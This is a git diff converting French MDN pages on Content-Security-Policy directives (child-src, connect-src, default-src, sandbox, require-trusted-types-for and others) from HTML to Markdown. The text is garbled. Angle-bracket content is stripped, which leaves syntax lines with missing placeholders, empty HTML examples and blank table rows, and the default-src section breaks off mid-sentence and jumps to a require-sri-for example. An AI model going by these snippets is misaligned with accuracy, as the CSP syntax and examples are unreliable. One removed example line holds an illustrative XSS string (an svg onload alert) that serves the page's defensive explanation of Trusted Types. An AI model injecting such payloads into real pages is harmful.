{{HTTPSidebar}}
+{{HTTPSidebar}} -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) child-src définit les sources valides de web workers et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`child-src`** définit les sources valides de [web workers](/en-US/docs/Web/API/Web_Workers_API) et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur. - - - - - - - - - - - - - - + + + + + + + + + + + + + +
Version de CSP2
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
Version de CSP2
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive default-src +
-

Syntaxe

+## Syntaxe -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+Une ou plusieurs sources peuvent être autorisées pour cette directive : -
Content-Security-Policy: child-src <source>;
-Content-Security-Policy: child-src <source> <source>;
-
+ Content-Security-Policy: child-src ; + Content-Security-Policy: child-src ; -

Sources

+### Sources -

{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}

+{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -

Exemples

+## Exemples -

Cas de violation

+### Cas de violation -

Soit cet en-tête CSP :

+Soit cet en-tête CSP : -
Content-Security-Policy: child-src https://example.com/
+```bash +Content-Security-Policy: child-src https://example.com/ +``` -

Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas :

+Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas : -
<iframe src="https://not-example.com"></iframe>
+```html
+
 
-<script>
+
+```
+
+## Spécifications
+
+| Spécification                                                                    | Statut                       | Commentaire          |
+| -------------------------------------------------------------------------------- | ---------------------------- | -------------------- |
+| {{specName("CSP 3.0", "#directive-child-src", "child-src")}} | {{Spec2('CSP 3.0')}} | Inchangé.            |
+| {{specName("CSP 1.1", "#directive-child-src", "child-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}

+{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}
 
-
Voir aussi

+## Voir aussi
 
-
    
- 
  • {{HTTPHeader("Content-Security-Policy")}}
    • 
- 
  • {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}
    • 
- 
  • {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}
    • 
-

+- {{HTTPHeader("Content-Security-Policy")}}
+- {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}
+- {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}
diff --git a/files/fr/web/http/headers/content-security-policy/connect-src/index.md b/files/fr/web/http/headers/content-security-policy/connect-src/index.md
index 845f46f7b0..35179b9411 100644
--- a/files/fr/web/http/headers/content-security-policy/connect-src/index.md
+++ b/files/fr/web/http/headers/content-security-policy/connect-src/index.md
@@ -13,65 +13,66 @@ tags:
   - source
 translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) connect-src restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`connect-src`** restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :
 
-
    
- 
  • {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},
    • 
- 
  • {{domxref("Fetch")}},
    • 
- 
  • {{domxref("XMLHttpRequest")}},
    • 
- 
  • {{domxref("WebSocket")}},
    • 
- 
  • {{domxref("EventSource")}}, and
    • 
- 
  • {{domxref("Navigator.sendBeacon()")}}.
    • 
-

+- {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},
+- {{domxref("Fetch")}},
+- {{domxref("XMLHttpRequest")}},
+- {{domxref("WebSocket")}},
+- {{domxref("EventSource")}}, and
+- {{domxref("Navigator.sendBeacon()")}}.
 
-

-
Note : connect-src 'self' ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : https://github.com/w3c/webappsec-csp/issues/7.

-

+> **Note :** `connect-src 'self'` ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : .
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+    
+      
+      
+    
+  
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défautOui, si cette directive est absente, l'agent utilisateur consultera la directive default-src
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
{{CSP("default-src")}} par défaut
+        Oui, si cette directive est absente, l'agent utilisateur consultera la
+        directive default-src
+      

 

 
-
Syntaxe

+## Syntaxe
 
-
Une ou plusieurs sources peuvent être autorisées pour cette directive :

+Une ou plusieurs sources peuvent être autorisées pour cette directive :
 
-
Content-Security-Policy: connect-src <source>;
-Content-Security-Policy: connect-src <source> <source>;
-

+    Content-Security-Policy: connect-src ;
+    Content-Security-Policy: connect-src  ;
 
-
Sources

+### Sources
 
-
{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}

+{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}
 
-
Exemples

+## Exemples
 
-
Cas de violation

+### Cas de violation
 
-
Soit cet en-tête CSP :

+Soit cet en-tête CSP :
 
-
Content-Security-Policy: connect-src https://example.com/

+```bash
+Content-Security-Policy: connect-src https://example.com/
+```
 
-
Les connexions suivantes seront bloquées et ne se chargeront pas :

+Les connexions suivantes seront bloquées et ne se chargeront pas :
 
-
<a ping="https://not-example.com">
+```html
+
 
-<script>
+
+```
+
+## Spécifications
+
+| Spécification                                                                        | Statut                       | Commentaire          |
+| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- |
+| {{specName("CSP 3.0", "#directive-connect-src", "connect-src")}} | {{Spec2('CSP 3.0')}} | Inchangé.            |
+| {{specName("CSP 1.1", "#directive-connect-src", "connect-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}

+{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}
 
-
Notes de compatibilité

+## Notes de compatibilité
 
-
    
- 
  • Avant Firefox 23, xhr-src était utilisé en lieu et place de la directive connect-src et ne s'appliquait qu'à l'API {{domxref("XMLHttpRequest")}}.
    • 
-

+- Avant Firefox 23, `xhr-src` était utilisé en lieu et place de la directive `connect-src` et ne s'appliquait qu'à l'API {{domxref("XMLHttpRequest")}}.
 
-
Voir aussi

+## Voir aussi
 
-
    
- 
  • {{HTTPHeader("Content-Security-Policy")}}
    • 
- 
  • {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}
    • 
- 
  • {{domxref("Fetch")}}
    • 
- 
  • {{domxref("XMLHttpRequest")}}
    • 
- 
  • {{domxref("WebSocket")}}
    • 
- 
  • {{domxref("EventSource")}}
    • 
-

+- {{HTTPHeader("Content-Security-Policy")}}
+- {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}
+- {{domxref("Fetch")}}
+- {{domxref("XMLHttpRequest")}}
+- {{domxref("WebSocket")}}
+- {{domxref("EventSource")}}
diff --git a/files/fr/web/http/headers/content-security-policy/default-src/index.md b/files/fr/web/http/headers/content-security-policy/default-src/index.md
index 9f2d9d6cb8..ac8590e5ce 100644
--- a/files/fr/web/http/headers/content-security-policy/default-src/index.md
+++ b/files/fr/web/http/headers/content-security-policy/default-src/index.md
@@ -14,108 +14,105 @@ tags:
   - source
 translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src
 ---
-
{{HTTPSidebar}}

-
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) default-src sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.

-
-
Pour chacune des directives suivantes, l'agent utilisateur consultera la directive default-src et utilisera sa valeur pour la directive demandée si celle-ci est absente :

-
-
    
- 
  • {{CSP("child-src")}}
    • 
- 
  • {{CSP("connect-src")}}
    • 
- 
  • {{CSP("font-src")}}
    • 
- 
  • {{CSP("frame-src")}}
    • 
- 
  • {{CSP("img-src")}}
    • 
- 
  • {{CSP("manifest-src")}}
    • 
- 
  • {{CSP("media-src")}}
    • 
- 
  • {{CSP("object-src")}}
    • 
- 
  • {{CSP("prefetch-src")}}
    • 
- 
  • {{CSP("script-src")}}
    • 
- 
  • {{CSP("script-src-elem")}}
    • 
- 
  • {{CSP("script-src-attr")}}
    • 
- 
  • {{CSP("style-src")}}
    • 
- 
  • {{CSP("style-src-elem")}}
    • 
- 
  • {{CSP("style-src-attr")}}
    • 
- 
  • {{CSP("worker-src")}}
    • 
-

+{{HTTPSidebar}}
+
+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`default-src`** sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.
+
+Pour chacune des directives suivantes, l'agent utilisateur consultera la directive `default-src` et utilisera sa valeur pour la directive demandée si celle-ci est absente :
+
+- {{CSP("child-src")}}
+- {{CSP("connect-src")}}
+- {{CSP("font-src")}}
+- {{CSP("frame-src")}}
+- {{CSP("img-src")}}
+- {{CSP("manifest-src")}}
+- {{CSP("media-src")}}
+- {{CSP("object-src")}}
+- {{CSP("prefetch-src")}}
+- {{CSP("script-src")}}
+- {{CSP("script-src-elem")}}
+- {{CSP("script-src-attr")}}
+- {{CSP("style-src")}}
+- {{CSP("style-src-elem")}}
+- {{CSP("style-src-attr")}}
+- {{CSP("worker-src")}}
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+  
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}
Version de CSP1
Type de directive{{Glossary("Fetch directive")}}

 

 
-
Syntaxe

-
-
Une ou plusieurs sources peuvent être autorisées pour cette directive :

-
-
Content-Security-Policy: default-src <source>;
-Content-Security-Policy: default-src <source> <source>;
-

-
-
Sources

-
-
La <source> peut être une des suivantes :

-
-

- 
<host-source>

- 
Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un protocole et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque '*'), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.

- Exemples:
- 
    
-  
  • http://*.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole http:.
    • 
-  
  • mail.example.com:443: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.
    • 
-  
  • https://store.example.com: correspondra à toutes les tentatives d'accès à store.example.com via le protocole https:.
    • 
-  
  • *.example.com: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.
    • 
- 

- 

- 
<scheme-source>

- 
Un protocole tel que http: ou https:. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé).
- 
    
-  
  • data: permet aux URI data: d'être utilisées comme sources de contenu. Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts.
    • 
-  
  • mediastream: permet aux URI mediastream: d'être utilisées comme source de contenu.
    • 
-  
  • blob: permet aux URI blob: d'être utilisées comme source de contenu.
    • 
-  
  • filesystem: Allows URI filesystem: d'être utilisées comme source de contenu.
    • 
- 

- 

- 
'self'

- 
Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs blob et filesystem des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.

- 
'unsafe-eval'

- 
Permet l'usage de la fonction eval() et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.

- 
'unsafe-hashes'

- 
Permet l'usage de certains écouteurs d'évènements par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL javascript:, cette valeur est plus sécurisée que unsafe-inline.

- 
'unsafe-inline'

- 
Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans src), d'URL javascript:, de gestionnaire d'évènement par attributs (on<eventName>), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.

- 
'none'

- 
Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.

- 
'nonce-<base64-value>'

- 
Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (number used once, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir inline script non fiables pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur 'unsafe-inline', qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.

- 
'<hash-algorithm>-<base64-value>'

- 
Un hash sha256, sha384 ou sha512 d'un <script> ou d'un <style>. Cette source est composée de deux parties séparées par un tiret : le nom de l'algorithme de chiffrage utilisé pour générer le hash à gauche et le hash encodé en base 64 à droite. Lors de la génération du hash, il ne faut pas inclure les balises <script> or <style> et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). Voir inline script non fiables pour en avoir un exemple. En CSP 2.0, cette valeur ne s'applique qu'aux scripts embarqués. CSP 3.0 le permet aussi dans le cas de scripts externes.

- 
'strict-dynamic'

- 
La valeur strict-dynamic spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute les valeurs telles que 'self' ou 'unsafe-inline' et listes de permissions sont ignorées. Voir script-src pour en avoir un exemple.

- 
'report-sample'

- 
Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.

-

-
-
-
Exemples

-
-
Absence d'héritage avec default-src

-
-
S'il y a d'autres directives spécifiées, default-src ne les affecte pas. Soit l'en-tête suivant :

-
-
Content-Security-Policy: default-src 'self'; script-src https://example.com

-
-
Est identique à :

-
-
Content-Security-Policy: connect-src 'self';
+## Syntaxe
+
+Une ou plusieurs sources peuvent être autorisées pour cette directive :
+
+    Content-Security-Policy: default-src ;
+    Content-Security-Policy: default-src  ;
+
+### Sources
+
+La \ peut être une des suivantes :
+
+- \
+
+  - : Des hôtes Internet par leur nom de domaine ou adresse IP, aussi bien qu'un [protocole](/en-US/docs/URIs_and_URLs) et/ou un numéro de port. L'adresse du site peut inclure un caractère de remplacement optionnel (l'astérisque `'*'`), qui ne peut être utilisée que pour indiquer un sous-domaine ou que tous les ports existants sont des sources valides.
+    Exemples:
+
+    - `http://*.example.com`: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com via le protocole `http:`.
+    - `mail.example.com:443`: correspondra à toutes les tentatives d'accès sur le port 443 de mail.example.com.
+    - `https://store.example.com`: correspondra à toutes les tentatives d'accès à store.example.com via le protocole `https:`.
+    - `*.example.com`: correspondra à toutes les tentatives d'accès pour tous les sous-domaines de example.com en utilisant le protocole courant.
+
+- \
+
+  - : Un protocole tel que `http:` ou `https:`. Les deux-points sont nécessaires. Contrairement à d'autres valeurs ci-bas, les guillemets ne devraient pas être employés. Vous pouvez aussi spécifier des schémas de données (quoi que ce ne soit pas recommandé).
+
+    - `data:` permet aux [URI `data:`](/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs) d'être utilisées comme sources de contenu. _Cette pratique manque de sécurité ; une personne malveillante peut aussi injecter des URI data: arbitraires. Utilisez cette valeur avec parcimonie certainement pas pour des scripts._
+    - `mediastream:` permet aux [URI `mediastream:`](/en-US/docs/Web/API/MediaStream_API) d'être utilisées comme source de contenu.
+    - `blob:` permet aux [URI `blob:`](/en-US/docs/Web/API/Blob) d'être utilisées comme source de contenu.
+    - `filesystem:` Allows [URI `filesystem:`](/en-US/docs/Web/API/FileSystem) d'être utilisées comme source de contenu.
+
+- `'self'`
+  - : Cette valeur fait référence au domaine dont est originaire le document protégé, y compris le protocole et le numéro de port. Vous devez mettre cette valeur entre guillemets. Certains navigateurs excluent spécifiquement les valeurs `blob` et `filesystem` des directives de source. Les sites nécessitant une permission pour ces types de contenu peuvent les spécifier en utilisant l'attribut Data.
+- `'unsafe-eval'`
+  - : Permet l'usage de la fonction `eval()` et de méthodes similaires pour créer du code à partir de chaines de caractères. Vous devez mettre cette valeur entre guillemets.
+- `'unsafe-hashes'`
+  - : Permet l'usage de certains [écouteurs d'évènements](/en-US/docs/Web/Guide/Events/Event_handlers) par attributs. Si vous n'avez besoin que d'écouteurs d'évènements par attributs et non d'éléments {{HTMLElement("script")}} embarqués ou d'URL `javascript:`, cette valeur est plus sécurisée que `unsafe-inline`.
+- `'unsafe-inline'`
+  - : Permet l'usage de ressources embarquées, tels que des éléments {{HTMLElement("script")}} (sans `src`), d'URL `javascript:`, de gestionnaire d'évènement par attributs (`on`), et d'éléments {{HTMLElement("style")}}. Vous devez mettre cette valeur entre guillemets.
+- `'none'`
+  - : Aucune source n'est admise. Vous devez mettre cette valeur entre guillemets.
+- 'nonce-\'
+  - : Une liste de permissions pour des scripts embarqués spécifiques en utilisant un nonce (_number used once_, nombre à usage unique) cryptographique. Le serveur doit générer un nonce à chaque fois qu'il transmet une réponse. Il est extrèmement important de fournir des nonces non prédictibles, puisque le contraire permettrait aisément de contourner la stratégie de sécurité. Voir [inline script non fiables](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#Unsafe_inline_script) pour avoir un exemple. Spécifier un nonce implique que les navigateurs modernes ignoreront la valeur `'unsafe-inline'`, qui peut toutefois être laissée pour les anciens navigateurs ne supportant pas les nonces.
+- '\-\'
+  - : Un hash sha256, sha384 ou sha512 d'un `
+```
 
-
Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :

+Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :
 
-
<script src="https://code.jquery.com/jquery-3.1.1.slim.js"></script>

+```html example-bad
+
+```
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}

+{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}
 
-
Voir aussi

+## Voir aussi
 
-
+- {{HTTPHeader("Content-Security-Policy")}}
+- [Subresource Integrity](/en-US/docs/Web/Security/Subresource_Integrity)
diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md
index fea32fdcd9..aa47591d59 100644
--- a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md
+++ b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.md
@@ -13,76 +13,57 @@ tags:
   - source
 translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) require-trusted-types-for {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur Element.innerHTML.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`require-trusted-types-for`** {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur [Element.innerHTML](/en-US/docs/Web/API/Element/innerHTML).
 
-
Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive trusted-types, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire  la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.

+Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère. Conjointement à la directive **[`trusted-types`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types)**, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture.
 
-
Syntaxe

+## Syntaxe
 
-
Content-Security-Policy: require-trusted-types-for 'script';
-

+    Content-Security-Policy: require-trusted-types-for 'script';
 
-

- 
'script'

- 
Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.

-

+- `'script'`
+  - : Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.
 
-
Exemples

+## Exemples
 
-
// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo;
+```js
+// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo;
 
-const attackerInput = '<svg onload="alert(/cross-site-scripting/)" />';
+const attackerInput = '';
 const el = document.createElement('div');
 
 if (typeof trustedTypes !== 'undefined') {
   // Create a policy that can create TrustedHTML values
   // after sanitizing the input strings with DOMPurify library.
   const sanitizer = trustedTypes.createPolicy('foo', {
-    createHTML: (input) => DOMPurify.sanitize(input)
+    createHTML: (input) => DOMPurify.sanitize(input)
   });
 
   el.innerHTML = sanitizer.createHTML(attackerInput);  // Puts the sanitized value into the DOM.
   el.innerHTML = attackerInput;                        // Rejects a string value; throws a TypeError.
 }
-

+```
 
-
Prothèse d'émulaiton

+## Prothèse d'émulaiton
 
-
Une prothèse d'émulation pour les Trusted Types est disponible sur Github.

+Une [prothèse d'émulation pour les Trusted Types](https://github.com/w3c/webappsec-trusted-types#polyfill) est disponible sur Github.
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-   
-  
- 
- 
-  
-   
-   
-   
-  
- 
-
SpécificationStatutCommentaire
Trusted TypesDraftDéfinition initiale.

+| Spécification                                                             | Statut | Commentaire          |
+| ------------------------------------------------------------------------- | ------ | -------------------- |
+| [Trusted Types](https://w3c.github.io/webappsec-trusted-types/dist/spec/) | Draft  | Définition initiale. |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
+{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}
 
+## Voir aussi
 
-
{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}

-
-
Voir aussi

-
-
+- {{HTTPHeader("Content-Security-Policy")}}
+- [Cross-Site Scripting (XSS)](/en-US/docs/Glossary/Cross-site_scripting)
+- [DOM XSS injection sinks covered by Trusted Types](https://w3c.github.io/webappsec-trusted-types/dist/spec/#injection-sinks)
+- [Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types](https://web.dev/trusted-types)
+- Trusted Types with [DOMPurify](https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types) XSS sanitizer
diff --git a/files/fr/web/http/headers/content-security-policy/sandbox/index.md b/files/fr/web/http/headers/content-security-policy/sandbox/index.md
index 626398f914..956d2452ca 100644
--- a/files/fr/web/http/headers/content-security-policy/sandbox/index.md
+++ b/files/fr/web/http/headers/content-security-policy/sandbox/index.md
@@ -11,99 +11,85 @@ tags:
   - Sécurité
 translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) sandbox active un bac à sable (sandbox) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (popups) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`sandbox`** active un bac à sable (_sandbox_) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (_popups_) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+    
+      
+    
+  
Version de CSP1.1 / 2
Type de directive{{Glossary("Document directive")}}
Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}} ou par l'en-tête {{HTTPHeader("Content-Security-policy-Report-Only")}}.
Version de CSP1.1 / 2
Type de directive{{Glossary("Document directive")}}

+        Cette directive n'est pas supportée dans l'élément
+        {{HTMLElement("meta")}} ou par l'en-tête
+        {{HTTPHeader("Content-Security-policy-Report-Only")}}.
+      

 

 
-
Syntaxe

-
-
Content-Security-Policy: sandbox;
-Content-Security-Policy: sandbox <valeur>;
-

-
-
Où <valeur> peut optionnellement être une valeur parmi :

-
-

- 
allow-downloads-without-user-activation {{experimental_inline}}

- 
Autorise les téléchargements sans action de l'utilisateur.

-

-
-

- 
allow-forms

- 
Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.

- 
allow-modals

- 
Autorise la page à ouvrir des fenêtres modales.

- 
allow-orientation-lock

- 
Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.

- 
allow-pointer-lock

- 
Autorise la page à utiliser l'API Pointer Lock.

- 
allow-popups

- 
Autorise les fenêtres intruses (comme avec window.open, target="_blank", showModalDialog). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.

- 
allow-popups-to-escape-sandbox

- 
Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.

- 
allow-presentation

- 
Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.

- 
allow-same-origin

- 
Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.

- 
allow-scripts

- 
Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.

- 
allow-storage-access-by-user-activation {{experimental_inline}}

- 
Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'API Storage Access.

- 
allow-top-navigation

- 
Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.

- 
allow-top-navigation-by-user-activation

- 
Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.

-

-
-
Exemples

-
-
Content-Security-Policy: sandbox allow-scripts;

-
-
Spécifications

-
-
- 
-  
-   
-   
-   
-  
-  
-   
-   
-   
-  
-  
-   
-   
-   
-  
- 
-
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}{{Spec2('CSP 1.1')}}Définition initiale.

+## Syntaxe
+
+    Content-Security-Policy: sandbox;
+    Content-Security-Policy: sandbox ;
+
+Où `` peut optionnellement être une valeur parmi :
+
+- `allow-downloads-without-user-activation` {{experimental_inline}}
+  - : Autorise les téléchargements sans action de l'utilisateur.
+
+
+
+- `allow-forms`
+  - : Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.
+- `allow-modals`
+  - : Autorise la page à ouvrir des fenêtres modales.
+- `allow-orientation-lock`
+  - : Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.
+- `allow-pointer-lock`
+  - : Autorise la page à utiliser l'[API Pointer Lock](/en-US/docs/WebAPI/Pointer_Lock).
+- `allow-popups`
+  - : Autorise les fenêtres intruses (comme avec `window.open`, `target="_blank"`, `showModalDialog`). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.
+- `allow-popups-to-escape-sandbox`
+  - : Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.
+- `allow-presentation`
+  - : Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.
+- `allow-same-origin`
+  - : Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.
+- `allow-scripts`
+  - : Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.
+- `allow-storage-access-by-user-activation` {{experimental_inline}}
